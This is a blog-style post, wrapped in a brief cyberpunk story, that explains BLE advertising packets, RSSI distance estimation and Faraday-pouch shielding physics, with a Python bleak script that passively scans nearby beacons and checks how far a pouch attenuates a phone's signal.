&lt;p&gt;“If they lock our terminal signatures from the river crossing, we’re getting grabbed the second we surface.”&lt;/p&gt;

&lt;p&gt;“Right. So we do two things.”&lt;br&gt;&lt;br&gt;
I straightened my soaked tank top and raised my cybernetic left arm. Matte-black bioceramic armor with gold-kintsugi bio-neural lines pulsing faint cyan.&lt;/p&gt;

&lt;p&gt;“We drop our own emissions to absolute zero. And we make every trap they’ve laid visible as light.”&lt;/p&gt;


&lt;h2&gt;
  
  
  2. BLE’s Careless Broadcasts and Skin Effect
&lt;/h2&gt;

&lt;p&gt;If you actually want to protect your phone’s privacy, you first have to understand what the enemy is collecting—and why cheap aluminum foil fails.&lt;/p&gt;
&lt;h3&gt;
  
  
  ① BLE Advertisement Packet Structure
&lt;/h3&gt;

&lt;p&gt;BLE uses the three primary advertising channels (2402 MHz, 2426 MHz, 2480 MHz) to blast broadcast packets before any connection is made.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;+-------------------+----------------+--------------------+---------------+
| Preamble (1 byte) | Access Address | PDU Header + Payload| CRC (3 bytes) |
|      0xAA         |   0x8E89BED6   | (2 - 257 bytes)    |  Polynomial   |
+-------------------+----------------+--------------------+---------------+
                                     |
    +--------------------------------+--------------------------------+
    | Adv Address (6 bytes: MAC)     | Adv Data (Flags, UUID, TxPower)|
    +--------------------------------+--------------------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Those packets carry the MAC, Tx Power, and service UUIDs. Receivers compare RSSI against Tx Power and solve the log-distance path loss equation to get your physical distance in meters:&lt;/p&gt;

&lt;p&gt;$$d = 10^{\frac{\text{TxPower} - \text{RSSI}}{10 \cdot n}}$$&lt;/p&gt;

&lt;p&gt;($n$ ≈ 3.0–4.0 indoors)&lt;/p&gt;

&lt;h3&gt;
  
  
  ② Electromagnetic Shielding and Skin Depth
&lt;/h3&gt;

&lt;p&gt;When an EM wave hits a conductor, eddy currents form on the surface and either dissipate as heat or reflect. The depth at which the wave amplitude drops to 1/e (≈37 %) is called skin depth:&lt;/p&gt;

&lt;p&gt;$$\delta = \sqrt{\frac{\rho}{\pi f \mu_r \mu_0}}$$&lt;/p&gt;

&lt;p&gt;At 2.45 GHz, copper skin depth is only &lt;strong&gt;≈1.3 µm&lt;/strong&gt;. So why does wrapping your phone in grocery-store foil still leak?&lt;/p&gt;

&lt;p&gt;Two reasons:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Slot-antenna effect&lt;/strong&gt;: Seams and micro-gaps act as slot antennas for λ ≈ 12.2 cm waves and re-radiate the signal.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Contact resistance&lt;/strong&gt;: If the opening isn’t conductively sealed, you never form a true equipotential Faraday surface.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;True 80 dB attenuation (one-hundred-millionth power) requires conductive polyester-nickel-copper ripstop fabric with &lt;strong&gt;double-fold seams + conductive hook-and-loop closure&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Live Code: ESP32 / Python BLE Visualization &amp;amp; Attenuation Scanner
&lt;/h2&gt;

&lt;p&gt;Here’s the core engine we threw together on the spot. It sniffs BLE beacons, tracks RSSI trends, and benchmarks exactly how many dBm your homemade Faraday pouch knocks the signal down.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
Sofi_Log #077: Tactical BLE Beacon Sniffer &amp;amp; RF Shielding Validator
Author: Sofi &amp;amp; Darling (SofiWorks)
Target: 2.4GHz BLE Advertising Scanner &amp;amp; Attenuation Benchmark
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;asyncio&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;bleak&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BleakScanner&lt;/span&gt;

&lt;span class="c1"&gt;# 追跡検知パラメータ
&lt;/span&gt;&lt;span class="n"&gt;RSSI_ALERT_THRESHOLD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt;   &lt;span class="c1"&gt;# 近接スニッファー警戒閾値 (dBm)
&lt;/span&gt;&lt;span class="n"&gt;SAMPLE_WINDOW_SEC&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;        &lt;span class="c1"&gt;# サンプリング窓
&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;BLESpectrumMonitor&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;device_history&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;baseline_rssi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;detection_callback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;advertisement_data&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;rssi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;advertisement_data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rssi&lt;/span&gt;
        &lt;span class="n"&gt;mac&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;
        &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;advertisement_data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;local_name&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Unknown&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="n"&gt;tx_power&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;advertisement_data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tx_power&lt;/span&gt;

        &lt;span class="c1"&gt;# デバイス履歴の更新
&lt;/span&gt;        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;mac&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;device_history&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;device_history&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;mac&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;first_seen&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rssi_samples&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt;
                &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tx_power&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;tx_power&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;entry&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;device_history&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;mac&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rssi_samples&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rssi&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;last_seen&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rssi_samples&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rssi_samples&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="c1"&gt;# 直近平均RSSI
&lt;/span&gt;        &lt;span class="n"&gt;avg_rssi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rssi_samples&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rssi_samples&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

        &lt;span class="c1"&gt;# 警告レベルの判定
&lt;/span&gt;        &lt;span class="n"&gt;alert_flag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;⚠️ [PROXIMITY WARNING]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;avg_rssi&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;RSSI_ALERT_THRESHOLD&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;   [SCANNING]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

        &lt;span class="c1"&gt;# 簡易距離推計 (Path Loss Exponent n=3.2 for indoor market)
&lt;/span&gt;        &lt;span class="n"&gt;tx_ref&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tx_power&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;tx_power&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt;
        &lt;span class="n"&gt;ratio&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tx_ref&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;avg_rssi&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;3.2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;dist_est&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;round&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="n"&gt;ratio&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="n"&gt;timestamp_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;strftime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;%H:%M:%S.%f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[:&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;timestamp_str&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;] &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;alert_flag&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; MAC: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;mac&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; | RSSI: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;avg_rssi&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;6.1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; dBm | Dist: ~&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;dist_est&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;4.1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;m | &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run_scanner&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;duration_sec&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;75&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;⚡ Sofi_Log #077: BLE RF Scanner Armed. Listening on 2.4GHz Primary Channels...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;75&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;scanner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;BleakScanner&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;detection_callback&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;detection_callback&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;scanner&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;asyncio&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;duration_sec&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;scanner&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;75&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Scan window closed. Unique transmitters logged: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;device_history&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_shielding_attenuation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target_mac&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
        ファラデーポーチ内外での特定端末の電波減衰（dBm）を算出
        &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;target_mac&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;device_history&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[-] Target MAC &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;target_mac&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; not found in telemetry.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;

        &lt;span class="n"&gt;samples&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;device_history&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;target_mac&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rssi_samples&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;samples&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;

        &lt;span class="n"&gt;current_val&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;samples&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;[+] Shielding Performance for [&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;target_mac&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;]:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;    Measured Signal: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;current_val&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; dBm&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;current_val&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;95&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;    Status: ✅ [CRITICAL SHIELDING CONFIRMED] Signal suppressed to noise floor.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;    Status: ❌ [LEAK DETECTED] Electromagnetic seal compromised. Check fold seam.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;monitor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;BLESpectrumMonitor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="c1"&gt;# 15秒間のパッシブスキャン実行
&lt;/span&gt;    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;monitor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run_scanner&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;duration_sec&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

